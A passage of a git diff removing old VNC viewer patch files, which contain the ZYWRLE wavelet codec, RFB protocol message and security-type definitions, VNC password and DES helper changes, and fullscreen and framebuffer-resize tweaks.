-+static InlineX void FilterWaveletSquare(int* pBuf, int width, int height, int level, int l)
-+{
-+ int r, s;
-+ int x, y;
-+ int* pH;
-+ const unsigned int* pM;
-+
-+ pM = &(zywrleParam[level-1][l]);
-+ s = 2<<l;
-+ for (r = 1; r < 4; r++) {
-+ pH = pBuf;
-+ if (r & 0x01)
-+ pH += s>>1;
-+ if (r & 0x02)
-+ pH += (s>>1)*width;
-+ for (y = 0; y < height / s; y++) {
-+ for (x = 0; x < width / s; x++) {
-+ /*
-+ these are same following code.
-+ pH[x] = pH[x] / (~pM[x]+1) * (~pM[x]+1);
-+ ( round pH[x] with pM[x] bit )
-+ '&' operator isn't 'round' but is 'floor'.
-+ So, we must offset when pH[x] is negative.
-+ */
-+ if (((signed char*)pH)[0] & 0x80)
-+ ((signed char*)pH)[0] += ~((signed char*)pM)[0];
-+ if (((signed char*)pH)[1] & 0x80)
-+ ((signed char*)pH)[1] += ~((signed char*)pM)[1];
-+ if (((signed char*)pH)[2] & 0x80)
-+ ((signed char*)pH)[2] += ~((signed char*)pM)[2];
-+ *pH &= *pM;
-+ pH += s;
-+ }
-+ pH += (s-1)*width;
-+ }
-+ }
-+}
-+# else
-+/*
-+ Type B:Non liner quantization filter.
-+
-+ Coefficients have Gaussian curve and smaller value which is
-+ large part of coefficients isn't more important than larger value.
-+ So, I use filter of Non liner quantize/dequantize table.
-+ In general, Non liner quantize formula is explained as following.
-+
-+ y=f(x) = sign(x)*round( ((abs(x)/(2^7))^ r )* 2^(bo-1) )*2^(8-bo)
-+ x=f-1(y) = sign(y)*round( ((abs(y)/(2^7))^(1/r))* 2^(bi-1) )*2^(8-bi)
-+ ( r:power coefficient bi:effective MSB in input bo:effective MSB in output )
-+
-+ r < 1.0 : Smaller value is more important than larger value.
-+ r > 1.0 : Larger value is more important than smaller value.
-+ r = 1.0 : Liner quantization which is same with EZW style.
-+
-+ r = 0.75 is famous non liner quantization used in MP3 audio codec.
-+ In contrast to audio data, larger value is important in wavelet coefficients.
-+ So, I select r = 2.0 table( quantize is x^2, dequantize sqrt(x) ).
-+
-+ As compared with EZW style liner quantization, this filter tended to be
-+ more sharp edge and be more compression rate but be more blocking noise and be less quality.
-+ Especially, the surface of graphic objects has distinguishable noise in middle quality mode.
-+
-+ We need only quantized-dequantized(filtered) value rather than quantized value itself
-+ because all values are packed or palette-lized in later ZRLE section.
-+ This lead us not to need to modify client decoder when we change
-+ the filtering procedure in future.
-+ Client only decodes coefficients given by encoder.
-+*/
-+static InlineX void FilterWaveletSquare(int* pBuf, int width, int height, int level, int l)
-+{
-+ int r, s;
-+ int x, y;
-+ int* pH;
-+ const signed char** pM;
-+
-+ pM = zywrleParam[level-1][l];
-+ s = 2<<l;
-+ for (r = 1; r < 4; r++) {
-+ pH = pBuf;
-+ if (r & 0x01)
-+ pH += s>>1;
-+ if (r & 0x02)
-+ pH += (s>>1)*width;
-+ for (y = 0; y < height / s; y++) {
-+ for (x = 0; x < width / s; x++) {
-+ ((signed char*)pH)[0] = pM[0][((unsigned char*)pH)[0]];
-+ ((signed char*)pH)[1] = pM[1][((unsigned char*)pH)[1]];
-+ ((signed char*)pH)[2] = pM[2][((unsigned char*)pH)[2]];
-+ pH += s;
-+ }
-+ pH += (s-1)*width;
-+ }
-+ }
-+}
-+# endif
-+
-+static InlineX void Wavelet(int* pBuf, int width, int height, int level)
-+{
-+ int l, s;
-+ int* pTop;
-+ int* pEnd;
-+
-+ for (l = 0; l < level; l++) {
-+ pTop = pBuf;
-+ pEnd = pBuf+height*width;
-+ s = width<<l;
-+ while (pTop < pEnd) {
-+ WaveletLevel(pTop, width, l, 1);
-+ pTop += s;
-+ }
-+ pTop = pBuf;
-+ pEnd = pBuf+width;
-+ s = 1<<l;
-+ while (pTop < pEnd) {
-+ WaveletLevel(pTop, height,l, width);
-+ pTop += s;
-+ }
-+ FilterWaveletSquare(pBuf, width, height, level, l);
-+ }
-+}
-+#endif
-+#ifdef ZYWRLE_DECODE
-+static InlineX void InvWavelet(int* pBuf, int width, int height, int level)
-+{
-+ int l, s;
-+ int* pTop;
-+ int* pEnd;
-+
-+ for (l = level - 1; l >= 0; l--) {
-+ pTop = pBuf;
-+ pEnd = pBuf+width;
-+ s = 1<<l;
-+ while (pTop < pEnd) {
-+ InvWaveletLevel(pTop, height,l, width);
-+ pTop += s;
-+ }
-+ pTop = pBuf;
-+ pEnd = pBuf+height*width;
-+ s = width<<l;
-+ while (pTop < pEnd) {
-+ InvWaveletLevel(pTop, width, l, 1);
-+ pTop += s;
-+ }
-+ }
-+}
-+#endif
-+
-+/* Load/Save coefficients stuffs.
-+ Coefficients manages as 24 bits little-endian pixel. */
-+#define ZYWRLE_LOAD_COEFF(pSrc,R,G,B) { \
-+ R = ((signed char*)pSrc)[2]; \
-+ G = ((signed char*)pSrc)[1]; \
-+ B = ((signed char*)pSrc)[0]; \
-+}
-+#define ZYWRLE_SAVE_COEFF(pDst,R,G,B) { \
-+ ((signed char*)pDst)[2] = (signed char)R; \
-+ ((signed char*)pDst)[1] = (signed char)G; \
-+ ((signed char*)pDst)[0] = (signed char)B; \
-+}
-+
-+/*
-+ RGB <=> YUV conversion stuffs.
-+ YUV coversion is explained as following formula in strict meaning:
-+ Y = 0.299R + 0.587G + 0.114B ( 0<=Y<=255)
-+ U = -0.169R - 0.331G + 0.500B (-128<=U<=127)
-+ V = 0.500R - 0.419G - 0.081B (-128<=V<=127)
-+
-+ I use simple conversion RCT(reversible color transform) which is described
-+ in JPEG-2000 specification.
-+ Y = (R + 2G + B)/4 ( 0<=Y<=255)
-+ U = B-G (-256<=U<=255)
-+ V = R-G (-256<=V<=255)
-+*/
-+#define ROUND(x) (((x)<0)?0:(((x)>255)?255:(x)))
-+ /* RCT is N-bit RGB to N-bit Y and N+1-bit UV.
-+ For make Same N-bit, UV is lossy.
-+ More exact PLHarr, we reduce to odd range(-127<=x<=127). */
-+#define ZYWRLE_RGBYUV1(R,G,B,Y,U,V,ymask,uvmask) { \
-+ Y = (R+(G<<1)+B)>>2; \
-+ U = B-G; \
-+ V = R-G; \
-+ Y -= 128; \
-+ U >>= 1; \
-+ V >>= 1; \
-+ Y &= ymask; \
-+ U &= uvmask; \
-+ V &= uvmask; \
-+ if (Y == -128) \
-+ Y += (0xFFFFFFFF-ymask+1); \
-+ if (U == -128) \
-+ U += (0xFFFFFFFF-uvmask+1); \
-+ if (V == -128) \
-+ V += (0xFFFFFFFF-uvmask+1); \
-+}
-+#define ZYWRLE_YUVRGB1(R,G,B,Y,U,V) { \
-+ Y += 128; \
-+ U <<= 1; \
-+ V <<= 1; \
-+ G = Y-((U+V)>>2); \
-+ B = U+G; \
-+ R = V+G; \
-+ G = ROUND(G); \
-+ B = ROUND(B); \
-+ R = ROUND(R); \
-+}
-+
-+/*
-+ coefficient packing/unpacking stuffs.
-+ Wavelet transform makes 4 sub coefficient image from 1 original image.
-+
-+ model with pyramid decomposition:
-+ +------+------+
-+ | | |
-+ | L | Hx |
-+ | | |
-+ +------+------+
-+ | | |
-+ | H | Hxy |
-+ | | |
-+ +------+------+
-+
-+ So, we must transfer each sub images individually in strict meaning.
-+ But at least ZRLE meaning, following one decompositon image is same as
-+ avobe individual sub image. I use this format.
-+ (Strictly saying, transfer order is reverse(Hxy->Hy->Hx->L)
-+ for simplified procedure for any wavelet level.)
-+
-+ +------+------+
-+ | L |
-+ +------+------+
-+ | Hx |
-+ +------+------+
-+ | Hy |
-+ +------+------+
-+ | Hxy |
-+ +------+------+
-+*/
-+#define INC_PTR(data) \
-+ data++; \
-+ if( data-pData >= (w+uw) ){ \
-+ data += scanline-(w+uw); \
-+ pData = data; \
-+ }
-+
-+#define ZYWRLE_TRANSFER_COEFF(pBuf,data,r,w,h,scanline,level,TRANS) \
-+ pH = pBuf; \
-+ s = 2<<level; \
-+ if (r & 0x01) \
-+ pH += s>>1; \
-+ if (r & 0x02) \
-+ pH += (s>>1)*w; \
-+ pEnd = pH+h*w; \
-+ while (pH < pEnd) { \
-+ pLine = pH+w; \
-+ while (pH < pLine) { \
-+ TRANS \
-+ INC_PTR(data) \
-+ pH += s; \
-+ } \
-+ pH += (s-1)*w; \
-+ }
-+
-+#define ZYWRLE_PACK_COEFF(pBuf,data,r,width,height,scanline,level) \
-+ ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_COEFF(pH,R,G,B);ZYWRLE_SAVE_PIXEL(data,R,G,B);)
-+
-+#define ZYWRLE_UNPACK_COEFF(pBuf,data,r,width,height,scanline,level) \
-+ ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_PIXEL(data,R,G,B);ZYWRLE_SAVE_COEFF(pH,R,G,B);)
-+
-+#define ZYWRLE_SAVE_UNALIGN(data,TRANS) \
-+ pTop = pBuf+w*h; \
-+ pEnd = pBuf + (w+uw)*(h+uh); \
-+ while (pTop < pEnd) { \
-+ TRANS \
-+ INC_PTR(data) \
-+ pTop++; \
-+ }
-+
-+#define ZYWRLE_LOAD_UNALIGN(data,TRANS) \
-+ pTop = pBuf+w*h; \
-+ if (uw) { \
-+ pData= data + w; \
-+ pEnd = (int*)(pData+ h*scanline); \
-+ while (pData < (PIXEL_T*)pEnd) { \
-+ pLine = (int*)(pData + uw); \
-+ while (pData < (PIXEL_T*)pLine) { \
-+ TRANS \
-+ pData++; \
-+ pTop++; \
-+ } \
-+ pData += scanline-uw; \
-+ } \
-+ } \
-+ if (uh) { \
-+ pData= data + h*scanline; \
-+ pEnd = (int*)(pData+ uh*scanline); \
-+ while (pData < (PIXEL_T*)pEnd) { \
-+ pLine = (int*)(pData + w); \
-+ while (pData < (PIXEL_T*)pLine) { \
-+ TRANS \
-+ pData++; \
-+ pTop++; \
-+ } \
-+ pData += scanline-w; \
-+ } \
-+ } \
-+ if (uw && uh) { \
-+ pData= data + w+ h*scanline; \
-+ pEnd = (int*)(pData+ uh*scanline); \
-+ while (pData < (PIXEL_T*)pEnd) { \
-+ pLine = (int*)(pData + uw); \
-+ while (pData < (PIXEL_T*)pLine) { \
-+ TRANS \
-+ pData++; \
-+ pTop++; \
-+ } \
-+ pData += scanline-uw; \
-+ } \
-+ }
-+
-+static InlineX void zywrleCalcSize(int* pW, int* pH, int level)
-+{
-+ *pW &= ~((1<<level)-1);
-+ *pH &= ~((1<<level)-1);
-+}
-+
-+#endif /* ZYWRLE_ONCE */
-+
-+#ifndef CPIXEL
-+#ifdef ZYWRLE_ENCODE
-+static InlineX void ZYWRLE_RGBYUV(int* pBuf, PIXEL_T* data, int width, int height, int scanline)
-+{
-+ int R, G, B;
-+ int Y, U, V;
-+ int* pLine;
-+ int* pEnd;
-+ pEnd = pBuf+height*width;
-+ while (pBuf < pEnd) {
-+ pLine = pBuf+width;
-+ while (pBuf < pLine) {
-+ ZYWRLE_LOAD_PIXEL(data,R,G,B);
-+ ZYWRLE_RGBYUV1(R,G,B,Y,U,V,ZYWRLE_YMASK,ZYWRLE_UVMASK);
-+ ZYWRLE_SAVE_COEFF(pBuf,V,Y,U);
-+ pBuf++;
-+ data++;
-+ }
-+ data += scanline-width;
-+ }
-+}
-+#endif
-+#ifdef ZYWRLE_DECODE
-+static InlineX void ZYWRLE_YUVRGB(int* pBuf, PIXEL_T* data, int width, int height, int scanline) {
-+ int R, G, B;
-+ int Y, U, V;
-+ int* pLine;
-+ int* pEnd;
-+ pEnd = pBuf+height*width;
-+ while (pBuf < pEnd) {
-+ pLine = pBuf+width;
-+ while (pBuf < pLine) {
-+ ZYWRLE_LOAD_COEFF(pBuf,V,Y,U);
-+ ZYWRLE_YUVRGB1(R,G,B,Y,U,V);
-+ ZYWRLE_SAVE_PIXEL(data,R,G,B);
-+ pBuf++;
-+ data++;
-+ }
-+ data += scanline-width;
-+ }
-+}
-+#endif
-+
-+#ifdef ZYWRLE_ENCODE
-+PIXEL_T* ZYWRLE_ANALYZE(PIXEL_T* dst, PIXEL_T* src, int w, int h, int scanline, int level, int* pBuf) {
-+ int l;
-+ int uw = w;
-+ int uh = h;
-+ int* pTop;
-+ int* pEnd;
-+ int* pLine;
-+ PIXEL_T* pData;
-+ int R, G, B;
-+ int s;
-+ int* pH;
-+
-+ zywrleCalcSize(&w, &h, level);
-+ if (w == 0 || h == 0)
-+ return NULL;
-+ uw -= w;
-+ uh -= h;
-+
-+ pData = dst;
-+ ZYWRLE_LOAD_UNALIGN(src,*(PIXEL_T*)pTop=*pData;)
-+ ZYWRLE_RGBYUV(pBuf, src, w, h, scanline);
-+ Wavelet(pBuf, w, h, level);
-+ for (l = 0; l < level; l++) {
-+ ZYWRLE_PACK_COEFF(pBuf, dst, 3, w, h, scanline, l);
-+ ZYWRLE_PACK_COEFF(pBuf, dst, 2, w, h, scanline, l);
-+ ZYWRLE_PACK_COEFF(pBuf, dst, 1, w, h, scanline, l);
-+ if (l == level - 1) {
-+ ZYWRLE_PACK_COEFF(pBuf, dst, 0, w, h, scanline, l);
-+ }
-+ }
-+ ZYWRLE_SAVE_UNALIGN(dst,*dst=*(PIXEL_T*)pTop;)
-+ return dst;
-+}
-+#endif
-+#ifdef ZYWRLE_DECODE
-+PIXEL_T* ZYWRLE_SYNTHESIZE(PIXEL_T* dst, PIXEL_T* src, int w, int h, int scanline, int level, int* pBuf)
-+{
-+ int l;
-+ int uw = w;
-+ int uh = h;
-+ int* pTop;
-+ int* pEnd;
-+ int* pLine;
-+ PIXEL_T* pData;
-+ int R, G, B;
-+ int s;
-+ int* pH;
-+
-+ zywrleCalcSize(&w, &h, level);
-+ if (w == 0 || h == 0)
-+ return NULL;
-+ uw -= w;
-+ uh -= h;
-+
-+ pData = src;
-+ for (l = 0; l < level; l++) {
-+ ZYWRLE_UNPACK_COEFF(pBuf, src, 3, w, h, scanline, l);
-+ ZYWRLE_UNPACK_COEFF(pBuf, src, 2, w, h, scanline, l);
-+ ZYWRLE_UNPACK_COEFF(pBuf, src, 1, w, h, scanline, l);
-+ if (l == level - 1) {
-+ ZYWRLE_UNPACK_COEFF(pBuf, src, 0, w, h, scanline, l);
-+ }
-+ }
-+ ZYWRLE_SAVE_UNALIGN(src,*(PIXEL_T*)pTop=*src;)
-+ InvWavelet(pBuf, w, h, level);
-+ ZYWRLE_YUVRGB(pBuf, dst, w, h, scanline);
-+ ZYWRLE_LOAD_UNALIGN(dst,*pData=*(PIXEL_T*)pTop;)
-+ return src;
-+}
-+#endif
-+#endif /* CPIXEL */
-+
-+#undef ZYWRLE_RGBYUV
-+#undef ZYWRLE_YUVRGB
-+#undef ZYWRLE_LOAD_PIXEL
-+#undef ZYWRLE_SAVE_PIXEL
-diff -Naur -X ./exclude vnc_unixsrc.orig/include/rfbproto.h vnc_unixsrc/include/rfbproto.h
---- vnc_unixsrc.orig/include/rfbproto.h 2004-05-27 03:02:02.000000000 -0400
-+++ vnc_unixsrc/include/rfbproto.h 2010-02-25 21:54:58.000000000 -0500
-@@ -205,7 +205,22 @@
- #define rfbSecTypeInvalid 0
- #define rfbSecTypeNone 1
- #define rfbSecTypeVncAuth 2
-+#define rfbSecTypeRA2 5
-+#define rfbSecTypeRA2ne 6
- #define rfbSecTypeTight 16
-+#define rfbSecTypeUltra 17
-+
-+/* try to support VeNCrypt and TLS */
-+#define rfbSecTypeAnonTls 18
-+#define rfbSecTypeVencrypt 19
-+
-+#define rfbVencryptPlain 256
-+#define rfbVencryptTlsNone 257
-+#define rfbVencryptTlsVnc 258
-+#define rfbVencryptTlsPlain 259
-+#define rfbVencryptX509None 260
-+#define rfbVencryptX509Vnc 261
-+#define rfbVencryptX509Plain 262
-
-
- /*-----------------------------------------------------------------------------
-@@ -381,6 +396,11 @@
- #define rfbBell 2
- #define rfbServerCutText 3
-
-+#define rfbResizeFrameBuffer 4 /* Modif sf@2002 */
-+
-+/* http://sourceforge.net/projects/vncsessmgr */
-+#define rfbRestartConnection 82
-+
- #define rfbFileListData 130
- #define rfbFileDownloadData 131
- #define rfbFileUploadCancel 132
-@@ -403,6 +423,18 @@
- #define rfbPointerEvent 5
- #define rfbClientCutText 6
-
-+/* ultra */
-+
-+#define rfbFileTransfer 7
-+#define rfbSetScale 8
-+#define rfbSetServerInput 9
-+#define rfbSetSW 10
-+#define rfbTextChat 11
-+#define rfbKeyFrameRequest 12
-+#define rfbPalmVNCSetScaleFactor 0xF
-+
-+
-+
- #define rfbFileListRequest 130
- #define rfbFileDownloadRequest 131
- #define rfbFileUploadRequest 132
-@@ -435,6 +467,13 @@
- #define rfbEncodingTight 7
- #define rfbEncodingZlibHex 8
-
-+#define rfbEncodingZRLE 16
-+/*
-+nyama/2006/08/02:new YUV-Wavlet lossy codec based on ZRLE (ZYWRLE)
-+ */
-+#define rfbEncodingZYWRLE 17
-+
-+
- /* signatures for basic encoding types */
- #define sig_rfbEncodingRaw "RAW_____"
- #define sig_rfbEncodingCopyRect "COPYRECT"
-@@ -955,6 +994,51 @@
- #define sz_rfbFileDownloadFailedMsg 4
-
- /*-----------------------------------------------------------------------------
-+ * RestartConnection - the server has restarted the client connection.
-+ */
-+
-+typedef struct _rfbRestartConnectionMsg {
-+ CARD8 type; /* always rfbRestartConnection */
-+ CARD8 pad1;
-+ CARD16 pad2;
-+ CARD32 length;
-+ /* followed by char text[length] */
-+} rfbRestartConnectionMsg;
-+
-+#define sz_rfbRestartConnectionMsg 8
-+
-+
-+typedef struct _rfbTextChatMsg {
-+ CARD8 type; /* always rfbTextChat */
-+ CARD8 pad1; /* Could be used later as an additionnal param */
-+ CARD16 pad2; /* Could be used later as text offset, for instance */
-+ CARD32 length; /* Specific values for Open, close, finished (-1, -2, -3) */
-+ /* followed by char text[length] */
-+} rfbTextChatMsg;
-+
-+#define sz_rfbTextChatMsg 8
-+
-+#define rfbTextMaxSize 4096
-+#define rfbTextChatOpen 0xFFFFFFFF
-+#define rfbTextChatClose 0xFFFFFFFE
-+#define rfbTextChatFinished 0xFFFFFFFD
-+
-+/*-----------------------------------------------------------------------------
-+ * Modif sf@2002
-+ * ResizeFrameBuffer - The Client must change the size of its framebuffer
-+ */
-+
-+typedef struct _rfbResizeFrameBufferMsg {
-+ CARD8 type; /* always rfbResizeFrameBuffer */
-+ CARD8 pad1;
-+ CARD16 framebufferWidth; /* FrameBuffer width */
-+ CARD16 framebufferHeight; /* FrameBuffer height */
-+} rfbResizeFrameBufferMsg;
-+
-+#define sz_rfbResizeFrameBufferMsg 6
-+
-+
-+/*-----------------------------------------------------------------------------
- * Union of all server->client messages.
- */
-
-@@ -968,6 +1052,8 @@
- rfbFileDownloadDataMsg fdd;
- rfbFileUploadCancelMsg fuc;
- rfbFileDownloadFailedMsg fdf;
-+ rfbRestartConnectionMsg rc;
-+ rfbTextChatMsg tc;
- } rfbServerToClientMsg;
-
-
-@@ -1221,6 +1307,41 @@
-
- #define sz_rfbFileCreateDirRequestMsg 4
-
-+/* ultra */
-+typedef struct _rfbSetScaleMsg {
-+ CARD8 type; /* always rfbSetScale */
-+ CARD8 scale; /* Scale value 1<sv<n */
-+ CARD16 pad;
-+} rfbSetScaleMsg;
-+
-+#define sz_rfbSetScaleMsg 4
-+
-+typedef struct {
-+ CARD8 type; /* always rfbSetScaleFactor */
-+
-+ CARD8 scale; /* Scale factor (positive non-zero integer) */
-+ CARD16 pad2;
-+} rfbPalmVNCSetScaleFactorMsg;
-+
-+#define sz_rfbPalmVNCSetScaleFactorMsg (4)
-+
-+typedef struct _rfbSetServerInputMsg {
-+ CARD8 type; /* always rfbSetServerInputMsg */
-+ CARD8 status; /* on or off */
-+ CARD16 pad;
-+} rfbSetServerInputMsg;
-+
-+#define sz_rfbSetServerInputMsg 4
-+
-+typedef struct _rfbSetSWMsg {
-+ CARD8 type; /* always rfbSetSW */
-+ CARD8 status;
-+ CARD16 x;
-+ CARD16 y;
-+} rfbSetSWMsg;
-+
-+#define sz_rfbSetSWMsg 6
-+
- /*-----------------------------------------------------------------------------
- * Union of all client->server messages.
- */
-@@ -1241,4 +1362,9 @@
- rfbFileDownloadCancelMsg fdc;
- rfbFileUploadFailedMsg fuf;
- rfbFileCreateDirRequestMsg fcdr;
-+ rfbSetScaleMsg ssc;
-+ rfbPalmVNCSetScaleFactorMsg pssf;
-+ rfbSetServerInputMsg sim;
-+ rfbSetSWMsg sw;
-+ rfbTextChatMsg tc;
- } rfbClientToServerMsg;
-diff -Naur -X ./exclude vnc_unixsrc.orig/include/vncauth.h vnc_unixsrc/include/vncauth.h
---- vnc_unixsrc.orig/include/vncauth.h 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/include/vncauth.h 2009-03-21 00:37:23.000000000 -0400
-@@ -23,8 +23,11 @@
-
- #define MAXPWLEN 8
- #define CHALLENGESIZE 16
-+#define CHALLENGESIZE_MSLOGON 64
-
- extern int vncEncryptAndStorePasswd(char *passwd, char *fname);
- extern char *vncDecryptPasswdFromFile(char *fname);
- extern void vncRandomBytes(unsigned char *bytes);
- extern void vncEncryptBytes(unsigned char *bytes, char *passwd);
-+
-+extern void vncEncryptPasswd_MSLOGON(unsigned char *encryptedPasswd, char *passwd);
-diff -Naur -X ./exclude vnc_unixsrc.orig/libvncauth/d3des.c vnc_unixsrc/libvncauth/d3des.c
---- vnc_unixsrc.orig/libvncauth/d3des.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/libvncauth/d3des.c 2010-02-25 21:49:02.000000000 -0500
-@@ -34,12 +34,15 @@
- static void cookey(unsigned long *);
-
- static unsigned long KnL[32] = { 0L };
-+/* no londer used: */
-+#if 0
- static unsigned long KnR[32] = { 0L };
- static unsigned long Kn3[32] = { 0L };
- static unsigned char Df_Key[24] = {
- 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
- 0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
- 0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };
-+#endif
-
- static unsigned short bytebit[8] = {
- 01, 02, 04, 010, 020, 040, 0100, 0200 };
-diff -Naur -X ./exclude vnc_unixsrc.orig/libvncauth/vncauth.c vnc_unixsrc/libvncauth/vncauth.c
---- vnc_unixsrc.orig/libvncauth/vncauth.c 2003-03-01 11:48:06.000000000 -0500
-+++ vnc_unixsrc/libvncauth/vncauth.c 2010-02-25 21:47:25.000000000 -0500
-@@ -27,9 +27,11 @@
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
-+#include <time.h>
- #include <vncauth.h>
- #include <d3des.h>
-
-+#include <fcntl.h>
-
- /*
- * Make sure we call srandom() only once.
-@@ -45,6 +47,8 @@
-
- static unsigned char s_fixedkey[8] = {23,82,107,6,35,78,88,7};
-
-+int vncEncryptAndStorePasswd2(char *passwd, char *passwdViewOnly, char *fname);
-+int vncDecryptPasswdFromFile2(char *fname, char *passwdFullControl, char *passwdViewOnly);
-
- /*
- * Encrypt a password and store it in a file. Returns 0 if successful,
-@@ -73,7 +77,7 @@
- vncEncryptAndStorePasswd2(char *passwd, char *passwdViewOnly, char *fname)
- {
- FILE *fp;
-- int i, bytesToWrite, bytesWrote;
-+ int bytesToWrite, bytesWrote;
- unsigned char encryptedPasswd[16] = {
- 0,0,0,0,0,0,0,0,
- 0,0,0,0,0,0,0,0
-@@ -195,6 +199,44 @@
- return (i < 16) ? 1 : 2;
- }
-
-+unsigned int urandom(void) {
-+ unsigned int val = 0;
-+ struct stat sb;
-+ int fd = -1;
-+ if (fd < 0 && stat("/dev/urandom", &sb) == 0) {
-+ fd = open("/dev/urandom", O_RDONLY);
-+ }
-+ if (fd < 0 && stat("/dev/random", &sb) == 0) {
-+ fd = open("/dev/random", O_RDONLY);
-+ }
-+ if (fd < 0 && stat("/proc/loadavg", &sb) == 0) {
-+ fd = open("/proc/loadavg", O_RDONLY);
-+ }
-+ if (fd < 0 && stat("/bin/bash", &sb) == 0) {
-+ fd = open("/bin/bash", O_RDONLY);
-+ lseek(fd, (off_t) (unsigned int) getpid(), SEEK_SET);
-+ }
-+ if (fd >= 0) {
-+ int i;
-+ for (i=0; i < 3; i++) {
-+ char buf[2];
-+ if (read(fd, buf, 1) > 0) {
-+ unsigned char uc = (unsigned char) buf[0];
-+ if (i==0) {
-+ val += uc;
-+ } else if (i==1) {
-+ val += uc * 256;
-+ } else if (i==2) {
-+ val += uc * 256 * 256;
-+ }
-+ }
-+ }
-+ close(fd);
-+ } else {
-+ val = (unsigned int) getpid();
-+ }
-+ return val;
-+}
-
- /*
- * Generate CHALLENGESIZE random bytes for use in challenge-response
-@@ -207,11 +249,13 @@
- int i;
- unsigned int seed;
-
-- if (!s_srandom_called) {
-- seed = (unsigned int)time(0) ^ (unsigned int)getpid();
-- srandom(seed);
-- s_srandom_called = 1;
-- }
-+ if (!s_srandom_called) {
-+ seed = (unsigned int)time(0) ^ (unsigned int)getpid();
-+ seed += urandom();
-+
-+ srandom(seed);
-+ s_srandom_called = 1;
-+ }
-
- for (i = 0; i < CHALLENGESIZE; i++) {
- bytes[i] = (unsigned char)(random() & 255);
-@@ -245,3 +289,48 @@
- des(bytes+i, bytes+i);
- }
- }
-+
-+void UvncEncryptPasswd_MSLOGON(unsigned char *encryptedPasswd, char *passwd) {
-+ unsigned int i;
-+ for (i=0; i < 32; i++) {
-+ if (i < strlen(passwd)) {
-+ encryptedPasswd[i] = passwd[i];
-+ } else {
-+ encryptedPasswd[i] = '\0';
-+ }
-+ }
-+ deskey(s_fixedkey, EN0);
-+ des(encryptedPasswd, encryptedPasswd);
-+}
-+
-+void UvncEncryptBytes2(unsigned char *where, int length, unsigned char *key) {
-+ int i, j;
-+ deskey(key, EN0);
-+ for (i=0; i < 8; i++) {
-+ where[i] ^= key[i];
-+ }
-+ des(where, where);
-+ for (i=8; i < length; i += 8) {
-+ for (j=0; j < 8; j++) {
-+ where[i+j] ^= where[i+j-8];
-+ }
-+ des(where+i, where+i);
-+ }
-+}
-+
-+void UvncDecryptBytes2(unsigned char *where, int length, unsigned char *key) {
-+ int i, j;
-+ deskey(key, DE1);
-+ for (i = length - 8; i > 0; i -= 8) {
-+ des(where + i, where + i);
-+ for (j=0; j < 8; j++) {
-+ where[i+j] ^= where[i+j-8];
-+ }
-+ }
-+ /* i=0 */
-+ des(where, where);
-+ for (i=0; i < 8; i++) {
-+ where[i] ^= key[i];
-+ }
-+}
-+
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fullscreen.patch b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fullscreen.patch
deleted file mode 100644
index 97494ee..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fullscreen.patch
+++ /dev/null
@@ -1,42 +0,0 @@
---- vnc_unixsrc.orig/vncviewer/fullscreen.c 2003-10-09 05:23:49.000000000 -0400
-+++ vnc_unixsrc/vncviewer/fullscreen.c 2004-12-26 21:21:44.000000000 -0500
-@@ -173,9 +173,15 @@
- XtVaSetValues(popup, XtNoverrideRedirect, True, NULL);
-
- /* Try to get the input focus. */
--
-+
-+#if 0
- XSetInputFocus(dpy, DefaultRootWindow(dpy), RevertToPointerRoot,
- CurrentTime);
-+#else
-+ XSetInputFocus(dpy, PointerRoot, RevertToPointerRoot,
-+ CurrentTime);
-+#endif
-+
-
- /* Optionally, grab the keyboard. */
-
-@@ -184,6 +190,10 @@
- GrabModeAsync, CurrentTime) != GrabSuccess) {
- fprintf(stderr, "XtGrabKeyboard() failed.\n");
- }
-+if (getenv("VNCVIEWER_GRAB_SERVER") != NULL) { /* runge bot of FullScreenOn */
-+ fprintf(stderr, "calling XGrabServer(dpy)\n");
-+ XGrabServer(dpy);
-+}
- }
-
-
-@@ -210,6 +220,11 @@
-
- appData.fullScreen = False;
-
-+if (getenv("VNCVIEWER_GRAB_SERVER") != NULL) { /* runge top of FullScreenOff */
-+ fprintf(stderr, "calling XUngrabServer(dpy)\n");
-+ XUngrabServer(dpy);
-+}
-+
- if (appData.grabKeyboard)
- XtUngrabKeyboard(desktop, CurrentTime);
-
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-newfbsize.patch b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-newfbsize.patch
deleted file mode 100644
index 9e2c811..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-newfbsize.patch
+++ /dev/null
@@ -1,286 +0,0 @@
---- vnc_unixsrc.orig/vncviewer/desktop.c 2004-05-28 13:29:29.000000000 -0400
-+++ vnc_unixsrc/vncviewer/desktop.c 2007-01-13 13:59:51.000000000 -0500
-@@ -50,6 +50,30 @@
- },
- };
-
-+void create_image() {
-+ image = NULL;
-+
-+#ifdef MITSHM
-+ if (appData.useShm) {
-+ image = CreateShmImage();
-+ if (!image)
-+ appData.useShm = False;
-+ }
-+#endif
-+
-+ if (!image) {
-+ image = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-+ si.framebufferWidth, si.framebufferHeight,
-+ BitmapPad(dpy), 0);
-+
-+ image->data = malloc(image->bytes_per_line * image->height);
-+ if (!image->data) {
-+ fprintf(stderr,"malloc failed\n");
-+ exit(1);
-+ }
-+ }
-+}
-+
-
- /*
- * DesktopInitBeforeRealization creates the "desktop" widget and the viewport
-@@ -82,30 +106,9 @@
- for (i = 0; i < 256; i++)
- modifierPressed[i] = False;
-
-- image = NULL;
--
--#ifdef MITSHM
-- if (appData.useShm) {
-- image = CreateShmImage();
-- if (!image)
-- appData.useShm = False;
-- }
--#endif
--
-- if (!image) {
-- image = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-- si.framebufferWidth, si.framebufferHeight,
